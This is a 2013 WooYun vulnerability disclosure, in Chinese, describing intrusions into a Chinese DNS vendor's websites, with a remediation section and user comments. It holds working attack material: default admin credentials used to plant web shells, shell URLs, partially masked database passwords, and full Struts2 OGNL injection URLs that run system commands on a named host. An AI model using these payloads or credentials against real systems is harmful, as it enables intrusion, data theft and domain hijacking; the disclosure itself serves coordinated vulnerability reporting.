当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-032417

漏洞标题：中科三方漏洞打包（部分漏洞可进行域名劫持）

相关厂商：中科三方

漏洞作者： Sct7p

提交时间：2013-07-26 15:37

修复时间：2013-09-09 15:38

公开时间：2013-09-09 15:38

漏洞类型：成功的入侵事件

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-07-26： 细节已通知厂商并且等待厂商处理中
2013-07-30： 厂商已经确认，细节仅向厂商公开
2013-08-09： 细节向核心白帽子及相关领域专家公开
2013-08-19： 细节向普通白帽子公开
2013-08-29： 细节向实习白帽子公开
2013-09-09： 细节向公众公开

简要描述：

RT

详细说明：

中科三方这个厂商貌似是中科院的。但是安全可谓是让汗颜。

http://software.sfn.cn/

dedecms

http://software.sfn.cn/data/admin/ver.txt

20110325 2011年的版本。。。

http://software.sfn.cn/data/mysql_error_trace.inc


后台路径侧漏

http://software.sfn.cn/sfnadmin/

账号admin 密码：admin
dedecms后台getshell 附件管理>文件式管理器 getshell

http://software.sfn.cn/uploads/123.php

shell地址

1.png


几个数据库配置（密码部分 星号）
www.sfn.com.cn

$cfg_dbname = 'sfnwebsite';
$cfg_dbuser = 'guanwang';
$cfg_dbpwd = 'guanwang****';
$cfg_dbprefix = 'sfn';
$cfg_db_language = 'utf8';


$cfg_dbhost = 'localhost';
$cfg_dbname = 'soft****';
$cfg_dbuser = 'soft****';
$cfg_dbpwd = 'soft****';
$cfg_dbprefix = 'fycms';
$cfg_db_language = 'utf8';


旁站有这些

2.png


在来看他的ecshop

cloud.sfn.cn


注入。（此处略过。升级即可）
<?php
// database host
$db_host = "localhost:3306";
// database name
$db_name = "ecshopdb";
// database username
$db_user = "ecshop**";
// database password
$db_pass = "ecshopdb****"
附上数据库;
这个站也是跟dede在一台服务器上的。

idns.sfn.cn


这个才是重磅级的
由于最近的struts2-16

http://idns.sfn.cn/viplogin/vipdomain_regDns.do?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D


读个路径:/usr/local/tomcat/webapps/VipService1/
列个目录看看

http://idns.sfn.cn/viplogin/vipdomain_regDns.do?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'ls','-la','//usr/local/tomcat/webapps/VipService1/'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}


root root  170 Jul 19 10:16 scss.jsp

上传....
然后cat一下 发现是那个css.jsp改名。已经有大牛路过了。。。。
顺路getshell一下。
shell地址

http://idns.sfn.cn/cc.jsp


3.png


数据库账号密码（部分星号）
<property name="user" value="dnsre****"></property>
<property name="password" value="dnsre****"></property>
最后主站。只发现了一个小漏洞。
mydns解析处不需要密码，可查看别人解析记录。这个应该算信息泄露吧。
好像还有dns域传送。

漏洞证明：

1.png

2.png

3.png

修复方案：

好好检查一下开源第三方程序。把你的struts2修补了把。还有一个积分系统也是ecshop。忘记网址了

版权声明：转载请注明来源 Sct7p@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2013-07-30 21:59

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2013-07-26 22:37 | 无敌L.t.H ( 路人 | Rank:21 漏洞数:4 | ‮……肉肉捉活，亭长放解)

    能劫持xxx.gov.cn？

  2. 2013-07-26 23:45 | Sct7p ( 实习白帽子 | Rank:62 漏洞数:9 | 懂与不懂之间只隔了一层纸，懂的人会觉得很...)

    @无敌L.t.H 可以劫持。。。天朝法律不允许

  3. 2013-07-27 12:54 | 无敌L.t.H ( 路人 | Rank:21 漏洞数:4 | ‮……肉肉捉活，亭长放解)

    @Sct7p 请允许我做一个兵库北的表情，洞主保重。

  4. 2013-09-10 09:52 | webmail ( 路人 | Rank:0 漏洞数:1 | 白帽子)

    洞主威武